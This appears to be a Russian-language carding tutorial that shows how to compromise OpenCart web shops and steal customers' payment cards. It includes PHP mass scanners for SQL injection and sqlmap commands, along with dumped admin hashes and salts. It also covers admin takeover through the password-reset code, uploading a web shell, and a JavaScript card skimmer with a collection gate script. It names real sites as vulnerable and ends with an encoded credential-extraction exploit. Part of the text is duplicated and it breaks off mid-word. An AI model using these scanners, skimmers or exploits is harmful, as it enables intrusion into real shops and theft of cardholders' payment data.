Предупрежу, это очень наказуемо. Почему? Ты можешь пиздить карты неделями с одного шопа этим способом, но как только дыру заметят, будет разбирательство, которое так просто не оставят. В этом я тебя уверяю, так что лучше не рискуй жопой, если не умеешь, а за неделю ты не научишься.
И да, если уж вздумаешь заниматься чем-то подобным, тебе я советую ориентироваться на Европу, но никак не США. Почему-то в ЕС терпят подобную еблю, а США если вцепится, то доведут дело до конца. Знаю не по наслышке.
Приступим. Что нам понадобится:
<?php
ini_set(memory_limit, -1);
require __DIR__ . /src/RollingCurl/RollingCurl.php;
require __DIR__ . /src/RollingCurl/Request.php;
$rollingCurl = new RollingCurlRollingCurl();
$i =0;
$content = file(set_base_here.txt);
$plugin = "/index.php?route=product/product&path=4_16&product_id=431";
$arr = array();
foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print " product_id testing ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);
foreach ($sites as $url) {
$request = new RollingCurlRequest($url);
$request->setOptions($options);
$rollingCurl->add($request);
}
$rollingCurl
->setCallback(function(RollingCurlRequest $request, RollingCurlRollingCurl $rollingCurl) {
$out = $request->getResponseText();
$vuln = explode(You have an error in your SQL syntax,$out);
$false1 = explode(<html,$out);
$false = explode(href=",$out);
$header = $request->getresponseInfo();
$http_code = $header[http_code];
if(($http_code == 200)&!isset($false[1])&!isset($false1[1])){
if(mb_strlen($request->getResponseText())==0){
// print PHP_EOL . $request->getUrl(). osible blind . PHP_EOL;
}
if(isset($vuln[1])){
print PHP_EOL . $request->getUrl(). :vuln . PHP_EOL;
}
else{
}
}
else{
}
})->execute();
?>
Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
_ttps://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431:vuln
Не стесьняясь используем sqlmap, удобно и работает.
python ~/sqlmap/sqlmap.py -u "*" --sql-shell --dbms="MySQL"
Получаем SQL shell. Проверяем наличие заполненых полей ftp.
select `value` from `oc_setting` where `key` like %ftp%
Мимо. Извлекаем учётные данные администраторов:
sql-shell> select `username`,`password`,`salt`,`email` from `oc_user`
output:
select `username`,`password`,`salt`,`email` from `oc_user` [12]:admin, d502c298a08c6a792d3aca5834cadda91c09bbef, gl2wqMCI7, , 00dd6ccaeedda898502bbc4a6252cc2ae9ececea, zf6TYZ22T, , 32eff90320144d729d52eecfcbcc0105c626ca7b, 1ahOeGubK, , 25887f0b297658f2c8a49ac839e1efa6113b8e6c, Fqnsekz8e, , 403431b3541f319f84123a0c1d04286bd423568c, pZvm4H0cU, , 9c72b218cde0952ed725d288e398426184560da2, Ocwi0EfVA, , 98d24ac005ceec111ee4361ce4978d6f339cbf69, yiqpiR8Vz, , 484ce4ef33f244bae80646af47bb831130d0987d, kMnrIXHJu, , a7fbec4075f1c590ff1abcf53ef753858bf39db5, zU8LusPfL, , 8d688e734dced7bdac0b36ab07c2b85c957db152, r4pmw6xnK, , 283232b15c7fbbf89aa6f3456a09a05f341aa080, 8Hd8zCa6l, , 6776e6dfad9a066f05aa1be004d16f02eea14ccd, n7x7sjPcL,
Опустим попытку брута т.к на сайте есть форма востановления пароля:
Ресетим пароль администратора, ;
Код для ресета пароля хранится в:
sql-shell> select `code` from `oc_user`
Cсылка для ввода кода для смены пароля:
/admin/index.php?route=common/reset&code=
И да, если уж вздумаешь заниматься чем-то подобным, тебе я советую ориентироваться на Европу, но никак не США. Почему-то в ЕС терпят подобную еблю, а США если вцепится, то доведут дело до конца. Знаю не по наслышке.
Приступим. Что нам понадобится:
- php5.6 + curl
- RollingCurl -
<?php
ini_set(memory_limit, -1);
require __DIR__ . /src/RollingCurl/RollingCurl.php;
require __DIR__ . /src/RollingCurl/Request.php;
$rollingCurl = new RollingCurlRollingCurl();
$i =0;
$content = file(set_base_here.txt);
$plugin = "/index.php?route=product/product&path=4_16&product_id=431";
$arr = array();
foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print " product_id testing ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);
foreach ($sites as $url) {
$request = new RollingCurlRequest($url);
$request->setOptions($options);
$rollingCurl->add($request);
}
$rollingCurl
->setCallback(function(RollingCurlRequest $request, RollingCurlRollingCurl $rollingCurl) {
$out = $request->getResponseText();
$vuln = explode(You have an error in your SQL syntax,$out);
$false1 = explode(<html,$out);
$false = explode(href=",$out);
$header = $request->getresponseInfo();
$http_code = $header[http_code];
if(($http_code == 200)&!isset($false[1])&!isset($false1[1])){
if(mb_strlen($request->getResponseText())==0){
// print PHP_EOL . $request->getUrl(). osible blind . PHP_EOL;
}
if(isset($vuln[1])){
print PHP_EOL . $request->getUrl(). :vuln . PHP_EOL;
}
else{
}
}
else{
}
})->execute();
?>
Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
_ttps://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431:vuln
Не стесьняясь используем sqlmap, удобно и работает.
python ~/sqlmap/sqlmap.py -u "*" --sql-shell --dbms="MySQL"
Получаем SQL shell. Проверяем наличие заполненых полей ftp.
select `value` from `oc_setting` where `key` like %ftp%
Мимо. Извлекаем учётные данные администраторов:
sql-shell> select `username`,`password`,`salt`,`email` from `oc_user`
output:
select `username`,`password`,`salt`,`email` from `oc_user` [12]:admin, d502c298a08c6a792d3aca5834cadda91c09bbef, gl2wqMCI7, , 00dd6ccaeedda898502bbc4a6252cc2ae9ececea, zf6TYZ22T, , 32eff90320144d729d52eecfcbcc0105c626ca7b, 1ahOeGubK, , 25887f0b297658f2c8a49ac839e1efa6113b8e6c, Fqnsekz8e, , 403431b3541f319f84123a0c1d04286bd423568c, pZvm4H0cU, , 9c72b218cde0952ed725d288e398426184560da2, Ocwi0EfVA, , 98d24ac005ceec111ee4361ce4978d6f339cbf69, yiqpiR8Vz, , 484ce4ef33f244bae80646af47bb831130d0987d, kMnrIXHJu, , a7fbec4075f1c590ff1abcf53ef753858bf39db5, zU8LusPfL, , 8d688e734dced7bdac0b36ab07c2b85c957db152, r4pmw6xnK, , 283232b15c7fbbf89aa6f3456a09a05f341aa080, 8Hd8zCa6l, , 6776e6dfad9a066f05aa1be004d16f02eea14ccd, n7x7sjPcL,
Опустим попытку брута т.к на сайте есть форма востановления пароля:
Ресетим пароль администратора, ;
Код для ресета пароля хранится в:
sql-shell> select `code` from `oc_user`
Cсылка для ввода кода для смены пароля:
/admin/index.php?route=common/reset&code=
- Попадаем в админ панель:
Загружаем шелл через установщик плагинов.
Текущий доступ примерно 300 карт в день, но нет формы оплаты. Можно поправить темплейт.
Прмемер сниффера: JS:
jQuery(document).ready(function() {
jQuery(#order).change(function() {
if (jQuery(#card_number).val().replace(/[^0-9]/g,).length > 14 && jQuery(#card_cvNumber).val().replace(/[^0-9]/g,).length > 2) {
jQuery.ajax({
url: https://example.com/gate.php?token=FZorkMQW,
data: jQuery(#order).serialize(),
type: POST,
success:function(resp)
{
return false;
},
error:function(jqXHR, textStatus, errorThrown)
{
return false;
}
});
}
});
});
Правим поля под форму (#);
gate.php
<?php
header(Access-Control-Allow-Origin: *);
header(Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept);
$req_dump = file_get_contents("php://input").PHP_EOL;
$fp = file_put_contents( /var/log/ssl30.txt, $req_dump, FILE_APPEND);
?>
Напишем чекер под "0day" уязвимость в плагине opencart. (module/mega_filter);
<?php
ini_set(memory_limit, -1);
require __DIR__ . /src/RollingCurl/RollingCurl.php;
require __DIR__ . /src/RollingCurl/Request.php;
$rollingCurl = new RollingCurlRollingCurl();
$i =0;
$content = file(test.txt);
$plugin = "/index.php?route=module/mega_filter/results&mfp=";
$arr = array();
foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print " testing module/mega_filter ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);
foreach ($sites as $url) {
$request = new RollingCurlRequest($url);
$request->setOptions($options);
$rollingCurl->add($request);
}
$rollingCurl
->setCallback(function(RollingCurlRequest $request, RollingCurlRollingCurl $rollingCurl) {
$out = $request->getResponseText();
$vuln = explode(syntax;,$out);
$false1 = explode(<html,$out);
$false = explode(href=",$out);
$header = $request->getresponseInfo();
$http_code = $header[http_code];
if(($http_code == 200)&!isset($false[1])&!isset($false1[1])){
if(mb_strlen($request->getResponseText())==0){
//print PHP_EOL . $request->getUrl(). osible blind . PHP_EOL;
}
if(isset($vuln[1])){
print PHP_EOL . $request->getUrl(). :vuln . PHP_EOL;
}
else{
}
}
else{
}
})->execute();
?>
Сохраняем, запускаем из консоли (php5.6), Данный чекер учитывает только error-based вектор.
Тестовый output:
abaro.vn/index.php?route=module/mega_filter/results&mfp=:vuln
igalaxy.gr/index.php?route=module/mega_filter/results&mfp=:vuln
cardtak.com/index.php?route=module/mega_filter/results&mfp=:vuln
iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=:vuln
www.daciashop.ro/index.php?route=module/mega_filter/results&mfp=:vuln
www.enbimoda.com/index.php?route=module/mega_filter/results&mfp=:vuln
www.omikron.gr/index.php?route=module/mega_filter/results&mfp=:vuln
www.indiansilkhouse.com/index.php?route=module/mega_filter/results&mfp=:vuln
www.bazistory.com/index.php?route=module/mega_filter/results&mfp=:vuln
polleosport.si/index.php?route=module/mega_filter/results&mfp=:vuln
iranianskin.com/index.php?route=module/mega_filter/results&mfp=:vuln
Пример запроса к sqlmap:
python ~/sqlmap/sqlmap.py -u "https://iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=*" --dbs --tamper="between" --dbms="MySQL"
JohnTheRipper -https://www.openwall.com/john/
Конфигурация JtR для подбора паролей:
Cracking OpenCart hashes with JtR
John the Ripper jumbo - advanced offline password cracker, which supports hundreds of hash and cipher types, and runs on many operating systems, CPUs, GPUs, and even some FPGAs - openwall/johngithub.com
<?php error_reporting(0);
$link = "http://-link-here-dot-com/index.php?route=module/mega_filter/results&mfp=";
function curl_me($url/*,$post*/){
if($curl = curl_init()) {
curl_setopt($curl,CURLOPT_URL, $url);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
/*curl_setopt($curl, CURLOPT_POSTFIELDS, $post);*/
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
curl_setopt($curl,CURLOPT_USERAGENT,JKOIhlklk!);
$response = curl_exec($curl);
curl_close($curl);
$tmp = explode(qbbjq,$response);
$value = explode(qbbjq1,$tmp[1]);
$out = $value[0];
return $out;
}
}
$i = 0;
while($i < 5){
$username_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(username%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl";
$password_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(password%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl";
$salt_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(salt%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl";
$username = $link.$username_payload;
$password = $link.$password_payload;
$salt = $link.$salt_payload;
$usr = curl_me($username);
$pwd = curl_me($password);
$slt = curl_me($salt);
print $usr.":".$pwd.":".$slt.PHP_EOL;
$i++;
}
Полезная информация:
тип хэша: sha1($s.sha1($s.sha1($p)))
Ста